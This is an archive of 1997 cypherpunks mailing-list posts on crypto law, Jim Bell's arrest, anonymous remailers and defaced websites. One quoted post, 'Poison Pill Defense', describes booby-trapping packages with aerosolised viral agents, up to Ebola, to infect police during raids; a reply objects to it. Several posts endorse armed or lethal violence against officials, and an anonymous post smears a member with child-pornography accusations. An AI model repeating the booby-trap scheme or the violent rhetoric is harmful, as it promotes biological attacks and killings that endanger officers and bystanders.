Johnny Appleseed





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Date: Wed, 21 May 1997 08:32:02 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Need some info...
In-Reply-To: <qFNy7D2w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.95.970520165518.17284D-100000@sdnpk.undp.org>
MIME-Version: 1.0
Content-Type: text/plain


On Mon, 19 May 1997, Dr.Dimitri Vulis KOTM wrote:

> "Wasim Q. Malik" <wmalik@sdnpk.undp.org> writes:
> 
> > Hi.
> > 
> > I'm gonna give a talk on the subject of hacking/security soon. Need your
> > help with it.
> > 
> > Things that I'm gonna include are: 
> > 	what is hacking, 
> > 	ethics of hacking,
> > 	psychlogy of hacking, 
> > 	other abstracts. 
> > 
> > 	Some technical stuff, such as hacking tools and tactics, including
> > 		IP spoofing,
> > 		packet sniffing,
> > 		cracker programs, 
> > 		keyloggers, 
> > 		progs like satan, etc.
> > 
> > 
> > Can you suggest some additional stuff to be included, or if you have any
> > resources (URLs, articles, progs, HOW-TOs, graphics, anything!), related
> > to any of the above topics, technical or whatever, please please do send
> > it over. 
> > 
> > Your suggestions will be a great help, as well as any info.
> > 
> > Thanks.
> > 
> > 
> > 
> > Wasim Q. Malik
> > Network Security Expert
> > SDNP Pakistan
> > 
> 
> is this going to be in NYC?  Can I come and listen?

Long way from NY - in Islamabad, Pakistan to be precise!
I'll send a summary on this list.
You can suggest any related topics to be included in the discussion, or
maybe point me to some material. Will be grateful.



Wasim Q. Malik
Network Security Expert
SDNP Pakistan





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Wed, 21 May 1997 02:15:34 +0800
To: Tim May <tcmay@got.net>
Subject: Re: SIC SEMPER TYRANNIS
In-Reply-To: <v03007801afa63556053c@[207.167.93.63]>
Message-ID: <Pine.LNX.3.91.970520170351.749B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> (Sadly, we now have several hundred thousand tyrants, mostly in Washington
> and state capitals, who have richly earned this fate...something the
> Founders would be screaming for action about.)

People forget quickly. I honestly believe that today people not only do 
not realise what is happening in the world around them, they really do 
not care. Most people I know are content just to make a buck and get on 
with it, without giving a thought to the rights they lose every day. 

I`m sure that public opinion in the UK is more this way than it is in 
the US, I may be wrong, however, the fact that I was told by a member 
of my immediate family a few days ago "You should be put in a lunatic 
asylum" because of my political views does not leave me with a good 
feeling about the general state of the population at large, still, it 
does leave me with a good feeling when people tell me "you are a danger 
to society" as they do not realise the compliment they are giving me! 
I truly wish I was of strong enough stuff to constitute a real danger...
I can honestly say that most people I speak with on a day to day basis 
would brand me a loon if they ever got into a proper political discussion 
with me. This is, of course, a sad state of affairs.

> >The feds may not be aware that the discussions on this list are usually of
> >a theoretical nature. Perhaps they decided to go after the
> >"co-conspirators". Like the anarchists in California with their AR-15's who
> >have so many mags that they can't even  remember where they all are. :-)

Hmm, I don`t think this is really relevant though, it makes no difference 
whether the discussions are theoretical or practical, they are still 
valid discussions.

> I've since found a dozen or so of these clips. Circumstances have motivated
> me to look through some of my packed boxes.

I could not begin to aspire to your collection of rifles and other 
defensive weapons Tim, but I too have been placing keys to my gun cabinet 
and shells in convenient places for quick access at one of those "4am 
black clad ninja just burst through my front door" moments.

> >The fact that Jim is held _without bail_ would indicate to me that there is
> >more going on than might meet the eye.
> >
> 
> Indeed. Lock and load.

Quite, does anyone here have a copy of the warrant they can post? - If I 
recall it was left closed? - I only have snatches of messages which 
mentioned poisons, anything else of interest on the list?

> We talk about the topics of interest to us. If the media characterizes us
> as "crazies" or "militia members," or as "terrorists," this is just par for
> the course. If, however, police departments and intelligence agencies mark
> us for harassment, arrest, prosecution, forfeiture of assets, etc., then
> this is what guns are for.

I`m starting to believe this suicidal course of action is the only 
justified one under the circumstance, however, I have always found guns a 
little impersonal, and favour garotting or disemboweling. YMMV.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Wed, 21 May 1997 09:18:18 +0800
To: lucifer Anonymous Remailer <lucifer@dhp.com>
Subject: Re: Digital signatures
In-Reply-To: <199705210010.UAA31584@dhp.com>
Message-ID: <Pine.A41.3.95.970520190437.27426E-100000@freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain


On Tue, 20 May 1997, lucifer Anonymous Remailer wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> Embedded in Tim C[retin] May's babblings are preposterous lies, wild distortions, 
> child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, 
> and racial epithets.
> 
>       o/ Tim C[retin] May
>      <|
>      / >
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : real@freenet.edmonton.ab.ca : ab756@freenet.toronto.on.ca
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 11:06:46 +0800
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Jim Bell's legal defense fund
In-Reply-To: <199705210151.UAA14291@manifold.algebra.com>
Message-ID: <3.0.2.32.19970520194059.040d6e30@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:51 PM 5/20/97 -0500, Igor Chudov @ home wrote:
>Hi there,
>
>I do not know Jim Bell personally and am not sure how rich he is,
>but suspect that he might be in need of some funds in order to be
>properly represented by good attorneys.
>
>How about setting up his legal defense fund?

I have met him once.

He is not rich by any standards. (He lives with his parents.)

Sounds like s good idea.  He is going to need it.
 
---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 21 May 1997 08:26:59 +0800
To: cypherpunks@toad.com
Subject: Re: Digital signatures
Message-ID: <199705210010.UAA31584@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Embedded in Tim C[retin] May's babblings are preposterous lies, wild distortions, 
child pornography (both as graphic descriptions and in JPEG format), ethnic slurs, 
and racial epithets.

      o/ Tim C[retin] May
     <|
     / >





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Wed, 21 May 1997 11:30:44 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Distributing cryptographic code
In-Reply-To: <3.0.1.32.19970517183655.00867d60@mail.io.com>
Message-ID: <3.0.1.32.19970520201249.007327b8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 11:44 AM 5/18/97 +0100, Adam Back wrote:
>> I don`t recall what the situation is in the US, is it the case that
>> the provider of the information is guilty of export, or the person
>> that actually downloads it, if it is available via anonymous FTP???

>The downloader by definition is restricted by his own national laws
>not by US laws.  US attempted world policeman attitude does not mean
>that US laws apply outside the US, particularly not to non-US citizens
>outside the US.

They may apply to you anyway - they're not very enforceable if you're
outside US territory, though if you try to visit the US once they've
pegged you as a crypto-terrorist aider-and-abetter of drug smugglers,
money launderers, child pornographers, and Commies, they could give you
a hard time.  Just because you haven't been caught YET doesn't make you
innocent :-)  
Remember the Canadian author / Disney hero Farley Mowat?  
He once got annoyed enough at the US military for flying nuclear-armed
bombers over Canada that he shot at some as they crossed the border.
Sure, his .22 caliber rifle wasn't going to hit a plane at 30,000 feet,
and he was just making a political statement by it, but he was
banned from the US for years.

>Self appointed world policemen are fooling themselves if they think
>they have any control over bit flow.

As long as it keeps Americans from using strong crypto on an 
everyday basis, for everything, and from taking the attitude that
their privacy is their own business, it's working.
Doesn't matter if a few foreign spies can talk to each other.

>(Yeah, I know tell that to Noriega, but that was simple kidnap).
Different case - Noriega was on the CIA payroll, and he embarassed his
masters :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Wed, 21 May 1997 09:29:54 +0800
To: cypherpunks@manifold.algebra.com
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /^\s*which\s+\S+\s*$/i at line 6 (fwd)
Message-ID: <199705210121.UAA13946@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from owner-cypherpunks@algebra.com -----

>From owner-cypherpunks@Algebra.COM  Sun May 18 16:04:30 1997
Date: Sun, 18 May 1997 16:04:27 -0500
From: owner-cypherpunks@algebra.com
Message-Id: <199705182104.QAA32347@manifold.algebra.com>
To: owner-cypherpunks@Algebra.COM
Subject: BOUNCE cypherpunks@Algebra.COM:     Admin request of type /^\s*w-h-i--ch\s+\S+\s*$/i at line 6  

>From cpunks@manifold.algebra.com  Sun May 18 16:04:17 1997
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	Sun, 18 May 1997 13:58:05 -0700 (PDT)
Date: Sun, 18 May 1997 13:58:04 -0700 (PDT)
From: se7en <se7en@dis.org>
To: Cypherpunks <cypherpunks@toad.com>
Subject: Hacked, Trashed and Out of Beer
Message-ID: <Pine.BSI.3.91.970518135516.26216A-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-cypherpunks@toad.com
Precedence: bulk


Well, I finally managed to catch up on all the email from this list, and 
managed to also get all of the hacked web sites thus far up on my web 
page at http://www.dis.org/se7en

w-h-i-c-h includes:

Amnesty International
Central Intelligence Agency
East Timor, Indonesia
Kriegsman Fur
NASA
U.K. Labour Party
U.S. Air Force
U.S. Department of Justice


se7en

----- End of forwarded message from owner-cypherpunks@algebra.com -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:17:40 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Lethality, guns, knives, & reality
Message-ID: <199705210126.UAA11333@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Forwarded message:

> Date: Tue, 20 May 1997 13:05:12 -0800
> From: Tim May <tcmay@got.net>
> Subject: Re: SIC SEMPER TYRANNIS

> Also, the "boiling a frog slowly" metaphor comes to mind...most people have
> little idea how the vise has tightened. And in the case of "gun rights,"
> most Americans are apparently of the opinion that their lives will be safer
> if all guns are banned.
> 
> (Which may be true, if _all_ guns were banned.

The last time I looked at the FBI stats on homicide deaths by beatings with
clubs, hands, and feet were much larger than homicides by gun or knife.


trivial dribble:

Nifty thing I found out today is that the cleaner that I use on my
whiteboard at work burns quite rapidly.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:12:17 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: In my opinion .... (fwd)
Message-ID: <199705210128.UAA11360@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Hi,

Fount this interesting for traffic on a RPG ML...


                                               Jim Choate
                                               CyberTects
                                               ravage@ssz.com

Forwarded message:

> Date: Wed, 21 May 1997 11:29:50 +1000 (EST)
> From: Michael Solomani Mifsud <solomani@electric-rain.net>
> To: "traveller@MPGN.COM" <traveller@MPGN.COM>
> Subject: Re: In my opinion ....

> On Tue, 20 May 1997, Steve Brengard wrote:
> 
> > In my opinion I see 'offended' personalities as a sign the direction the World Community is headed, and it's a damn shame. I believe that most members of the list live and work within the national boundaries of the United States. Last time I checked, the constitution still protected the right of free speech. Every US citizen is entitled to free speech. If someone chooses to express there option, no matter if with taste or without, so be it. It is this same right that allows all of us to respond to such opinions. If you do not like a post or opinion, that great! If you like and support an opinion or post, that's great too!
> 
> No all are from the USA, I am from Australia, free speech is a privelage
> not a right and it can be revoked.  
> 
> Anyway as free speech pertains to this list, what you said means
> jack.
> 
> The list runs on a *private* server, therefore when you post to the
> server your using someone elses property with permission.  If that
> permission is withdrawn by the owner then you have no recourse.  Free
> speech is not pertinent unless the *owner* promotes it.  The owner can be
> as arbitary as s/he wishs with the rules of *his* list on *his* server.
> 
> God bless capatalism
> 
> 
> > 
> > But lets  be adults about it all. This liberalist  path the US has
> taken UPSETS  me. That's right, its getting so bad that no one can say
> anything without offending someone. Get over it. We all live in a world
> of differing opinions. You MUST accept that other have differing opinions
> then yours, and you MUST accept that they are entitled to their opinions. You may not agree with those opinions, but that simply does not invalidate them. 
> > 
> 
> This I agree with whole heartedly - down with political correctness!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:17:55 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: The USA is the world's biggest terrorist state (fwd)
Message-ID: <199705210132.UAA11409@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:

> Date: Tue, 20 May 1997 16:49:34 -0400 (edt)
> From: Ryan Anderson <randerso@ece.eng.wayne.edu>

> On Tue, 20 May 1997, Peter Trei wrote:
> > >...to assassinating dozens of leaders of countries the USA wished
> > >to shape in different directions, the USA is Terror State Numero Uno.
> > 
> > Dozens? As in 12+? Again, which ones? When? Any since the (Carter?) 
> > exec order forbidding attacks against heads of state?
> 
> Ford, I believe.

I would be interested in someones itemized list regarding this matter. In
particular I would be interested in the paper-trail of proof used in making
the assertions.

                                                 Jim Choate
                                                 CyberTects
                                                 ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 09:42:37 +0800
To: nobody@huge.cajones.com (Huge Cajones Remailer)
Subject: Re: Poison Pill Defense
In-Reply-To: <199705202352.QAA28733@fat.doobie.com>
Message-ID: <199705210134.UAA14119@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


The probability of innocent people getting in trouble with
this scheme is very high.

For example, a stray cat, a child, a curious bird or even a rat could
open the box and spread the infection.

If you do not do this stuff well enough, in a while the packaging
will break and leak. 

The most likely person to suffer will be you, anyway. I could not care
less about you, but these diseases are contagious.

igor

Huge Cajones Remailer wrote:
> 
> 
> I hear from anonymous correspondents that the following
> technique has been successfully deployed among some militia
> members and cypherpunks who fear raids on their private
> property.  Apparently the technique was originally invented
> by a biotech lab that the FDA was planning to shut down in an
> uncivil manner when Kessler first came to power.  The
> lab was never raided.
> 
> Preliminary: choose a suitable viral agent.  This may range
> from a short, severe flu to Eubola, depending on the level
> of deterrence desired and safety precautions you have available.
> Long-latency debilitating diseases have also been suggested
> as an especially effective deterrent that puts the property
> owner at less risk of detection.  The property owner must 
> obtain both the agent and an effective vaccine.
> 
> Step one: immunize household members against this agent.
> 
> Step two: create "tamper avenging" packages around the
> house.  Make them very suspicious looking (gun lockers, 
> boxes labeled "Danger: Toxic Materials", file folders
> labeled "Assassination Schedule for December", and so on).  
> Don't put them where guests, pets, and so on can get to them, 
> but in places where the thugs will look.
> 
> Step two (detail): the tamper avenging package contains an 
> invisible film of the viral agent in fluid adsorbed to a suitable
> carrier.  The carrier is a clear, thin film of sponge-like material that 
> produces a fine aerosol of virus containing fluid drops when
> disturbed.  When the package is opened and disturbed, the
> aerosol quickly shoots and and spreads throughout several
> surrounding cubic meters.  Persons unprotected by immunization
> or breathing masks are contaminated with high probability.
> I've heard unconfirmed rumors of a special sponge material
> that lasts for days, infecting a variety of government personnel
> and contractors who come in contact with the evidence, and
> in some cases, depending on the particular vector,
> people they in turn come in intimate contact with. 
> 
> Obviously I have not provided enough useful information
> in this post to propery implement this technique.  Don't
> try this at home without the help of paid professionals
> (who I hear are making a killing now with the recent
> spate of raids against militias, patriot groups, cypherpunks,
> and so on).
> 
> Give me Liberty or Give me Death;
> Johnny Appleseed
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 09:58:33 +0800
To: cypherpunks@manifold.algebra.com
Subject: Jim Bell's legal defense fund
Message-ID: <199705210151.UAA14291@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Hi there,

I do not know Jim Bell personally and am not sure how rich he is,
but suspect that he might be in need of some funds in order to be
properly represented by good attorneys.

How about setting up his legal defense fund?

igor





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Wed, 21 May 1997 10:50:37 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: update.322 (fwd)
Message-ID: <199705210200.VAA11531@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text


Forwarded message:
>From physnews@aip.org Tue May 20 14:20:29 1997
Date: Tue, 20 May 97 09:14:36 EDT
From: physnews@aip.org (AIP listserver)
Message-Id: <9705201314.AA25712@aip.org>
To: physnews-mailing@aip.org
Subject: update.322


PHYSICS NEWS UPDATE                         
The American Institute of Physics Bulletin of Physics News
Number 322 May 20, 1997   by Phillip F. Schewe and Ben Stein

IN QUANTUM CASCADE LASERS electrons are put in a
barrel, as it were, and sent over a series of waterfalls.  Instead of
recombining with holes to create photons, as in conventional
semiconductor lasers (one injected electron resulting in one
photon), electrons in a QC laser pass through a succession of
closely coordinated quantum wells---each well consisting of a
sandwich of semiconductor layers---unloading energy as they go,
in the form of photons (one electron creating 25 photons, one for
each stage in the stack). QC lasers are unique in that the output
light wavelength is determined not by semiconductor chemistry
(the type of materials used) but by the thickness and spacing of
the layers (sometimes only a few atoms thick). Cascade lasers,
first developed in 1994 by Federico Capasso and Jerome Faist at
Bell Labs, can operate in the mid infrared wavelength region (4-
12 microns).  This technologically important range is currently
being served primarily by low-power lasers which can only work
at low temperatures. By contrast, Bell Labs' new QC laser can
not only operate at room temperature with high output power (60
mW, with even higher power evident in recent experiments) but
can also be tuned to a single wavelength through the use of
gratings within the laser.  These features will allow scientists in
the field to carry out remote chemical sensing (of, say, pollutants
present at parts-per-billion levels)  by selectively exciting, and
detecting, specific chemical species. (Jerome Faist et al., Applied
Physics Letters, 19 May 1997; and a talk at this week's
Conference on Lasers and Electro-Optics in Baltimore.)

ZERO-DIMENSIONAL METALS are studied by physicists at
Harvard.  In general, reducing the dimensionality of an object
makes its quantum nature more manifest.  In a semiconductor,
for example, confining mobile electrons to a plane (2D) or a wire
(1D) or a dot (0D) enforces an ever sharper limit on the allowed
energies, and this can be exploited in producing compact and
highly controllable electronic devices.  The Harvard scientists
(contact Dan Ralph, now at Cornell, ralph@msc.cornell.edu)
have succeeded in attaching leads to 10-nm-sized metal particles;
this allows them to apply a gate voltage which turns the tiny
particle into a transistor. Unlike semiconductor dots, the metal
nanoparticle can be made magnetic or superconducting, allowing
forces inside the sample to be analyzed. Indeed, with this speck
of aluminum, the discrete quantum-mechanical spectrum of
electrons in a metal have been measured more accurately than
ever before. One can watch the electron spectrum even as
magnetic fields break up the superconducting state. (D.C. Ralph
et al., upcoming in Physical Review Letters, 26 May 1997.)

GAMMA RAY BURSTERS HAVE REVEALED
THEMSELVES at optical and radio wavelengths.  Astronomers
have sought to establish whether these once-only gamma sources
were near at hand (in the halo of our galaxy) or resident in distant
galaxies.  On May 8 the BeppoSAX satellite spotted a new GRB
at gamma wavelengths.  Alert Caltech scientists soon viewed the
same object with the Palomar and Keck optical telescopes,
establishing from the redshift that the object was some billions of
light years away.  Meanwhile, the Very Large Array radio
telescope has also glimpsed the object.  As of last week the
visible signal was decreasing and the radio signal increasing in
intensity.  (Press releases from Caltech (May 14) and VLA (May
15).)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 21 May 1997 10:20:11 +0800
To: ravage@EINSTEIN.ssz.com (Jim Choate)
Subject: Re: Lethality, guns, knives, & reality
In-Reply-To: <199705210126.UAA11333@einstein.ssz.com>
Message-ID: <199705210207.VAA14536@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Jim Choate wrote:
> 
> Nifty thing I found out today is that the cleaner that I use on my
> whiteboard at work burns quite rapidly.
> 

Try sniffing it, you might like it.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 12:40:40 +0800
To: cypherpunks@algebra.com
Subject: Why I think Jim Bell is getting railroaded
Message-ID: <3.0.2.32.19970520212520.00afa470@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I think that the Government is trying to make an example of Mr. Bell.  I
think 
that much of the charges reported in the news are flase.

Here is why...

1) They claim that Jim was actively trying to disrupt 911 service and poison 
the Bull Run water supply.  These are non-political targets.  Jim only thinks 
in political targets.  (I remember trying to get him to come to grips with
the 
idea that such a system as AP would not be used just for government types.  
That is would be used against anyone who had enemies.  Could not even make a 
dent...)

2) The warrent is sealed, yet the media is reporting all sorts of things
about 
the case.  Where is the information coming from?  Sounds like planted 
information to keep people from complaining too much when they send him up
the 
river for a few years...  (Whether he survives long in custody is another 
story.  I would be willing to bet that if he does not "cooperate" that he
will 
have some sort of "accident" while in government hands.)

3) The suspected crimes list keeps changing.  How many times has the 
"official" story changed?  Each time it gets more and more lurid.  (And many 
of the crimes are ones that get used against damn near every case the 
government tries against someone who threatens the security of the state.  
Belief starts to wear a bit thin after a while...)

Of course, i do not expect anything like the truth from standing in the way
of 
a conviction...

"Paranoia strikes deep...
  Into your soul it will creep...
   It starts when you're always afraid...
    Step out of line, the man come, and take you away..."



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Version: 5.0 beta
Charset: noconv

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=vP8r
-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 12:58:17 +0800
To: cypherpunks@algebra.com
Subject: Re: Why I think Jim Bell is getting railroaded
Message-ID: <3.0.2.32.19970520214425.00b1a440@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:25 PM 5/20/97 -0700, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>I think that the Government is trying to make an example of Mr. Bell.  I
>think 
>that much of the charges reported in the news are flase.
                                                   ^^^^^
I meant "false".

Dyslexia.  Name for it by ask!

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Wed, 21 May 1997 12:54:32 +0800
To: se7en@dis.org>
Subject: Re: Hacked, Trashed and Out of Beer
In-Reply-To: <199705210121.UAA13946@manifold.algebra.com>
Message-ID: <v03007803afa82e2d94a2@[207.94.249.80]>
MIME-Version: 1.0
Content-Type: text/plain


At 6:21 PM -0700 5/20/97, se7en <se7en@dis.org> wrote:
>Well, I finally managed to catch up on all the email from this list, and
>managed to also get all of the hacked web sites thus far up on my web
>page at http://www.dis.org/se7en
>
>w-h-i-c-h includes:
>
>Amnesty International
>Central Intelligence Agency
>East Timor, Indonesia
>Kriegsman Fur
>NASA
>U.K. Labour Party
>U.S. Air Force
>U.S. Department of Justice

Gee, your server sure wants to send a lot of cookies.  I consider receiving
a cookie before getting a statement, or being able to guess (e.g. WEB
shopping), about their use to be an unfriendly act.


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz@netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 21 May 1997 13:04:30 +0800
To: cypherpunks@algebra.com
Subject: Re: Anonymous remailers:  A call to arms wanted
In-Reply-To: <3382463a.1158385@news.nr.infi.net>
Message-ID: <199705210454.VAA31404@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
misc.survivalism,  alt.cypherpunks)

In article <3382463a.1158385@news.nr.infi.net>, wjs@nr.infi.net wrote:

> Please, wackos, set up an alt.* group for your drivel.  It is the
> idiots like you you have the media and the general populace believing
> that all of us are just like you.
> 
> Thanks to you, I have to be very careful about who I talk to about
> "certain subjects", and my wife thinks I am paranoid for taking what I
> view as reasonable precautions.
> 
> I know I don't speak for everyone on the group, but I also know I'm
> hardly alone.  GO AWAY!

Anonymous remailers protect speakers from retaliation. The Founders used
anonymity, as the pseudonymous writings in the Federalist Papers show.

Granted, some anonymous posts are drivel, some are even illegal.

So?

The government is attempting to get anonymous remailers shut down, is
proposing restrictions on strong cryptography, and is trying to make it
look as though anyone supporting these things is a kind of right-wing
militia member crazy.

If you don't _like_ something, some opinion, either ignore it or write a
rebuttal. But don't play their game by saying there's something basically
_wrong_ with anonymous remailers.

--Tim May

-- 
There's something wrong when I'm a felon under an increasing number of laws.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Wed, 21 May 1997 13:16:24 +0800
To: Bill Frantz <frantz@netcom.com>
Subject: Re: Hacked, Trashed and Out of Beer
In-Reply-To: <199705210121.UAA13946@manifold.algebra.com>
Message-ID: <3.0.2.32.19970520220201.00b87520@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 09:47 PM 5/20/97 -0700, Bill Frantz wrote:
>At 6:21 PM -0700 5/20/97, se7en <se7en@dis.org> wrote:
>>Well, I finally managed to catch up on all the email from this list, and
>>managed to also get all of the hacked web sites thus far up on my web
>>page at http://www.dis.org/se7en
>>
>>w-h-i-c-h includes:
>>
>>Amnesty International
>>Central Intelligence Agency
>>East Timor, Indonesia
>>Kriegsman Fur
>>NASA
>>U.K. Labour Party
>>U.S. Air Force
>>U.S. Department of Justice
>
>Gee, your server sure wants to send a lot of cookies.  I consider receiving
>a cookie before getting a statement, or being able to guess (e.g. WEB
>shopping), about their use to be an unfriendly act.

Sounds like the AUTH_COOKIE module at work again.  Pretty easy to fix.  Just 
comment out the AUTH_COOKIE module (which should not be turned on anyways) in 
the src/Configuration file and recompile.  Keeps people from being cookie-
bombed into the stone age.

<rant align=tech>
AUTH_COOKIE is actually something for excessive user tracking.  It sends a 
cookie for every object sent by the server.  If they have Netscape 3.0 and
are 
tracking such things, it becomes a real pain.  Since few webmasters, if any, 
have log crunchers that will even use that data (or that anyone cares...) it 
is a waste of log space in the first place.  It also annoys many users.
</rant>
-----BEGIN PGP SIGNATURE-----
Version: 5.0 beta
Charset: noconv

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-----END PGP SIGNATURE-----

---
|     "Bill Clinton - Bringing back the sixties one Nixon at a time."    |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Wed, 21 May 1997 13:31:10 +0800
To: Alan Olsen <cypherpunks@algebra.com
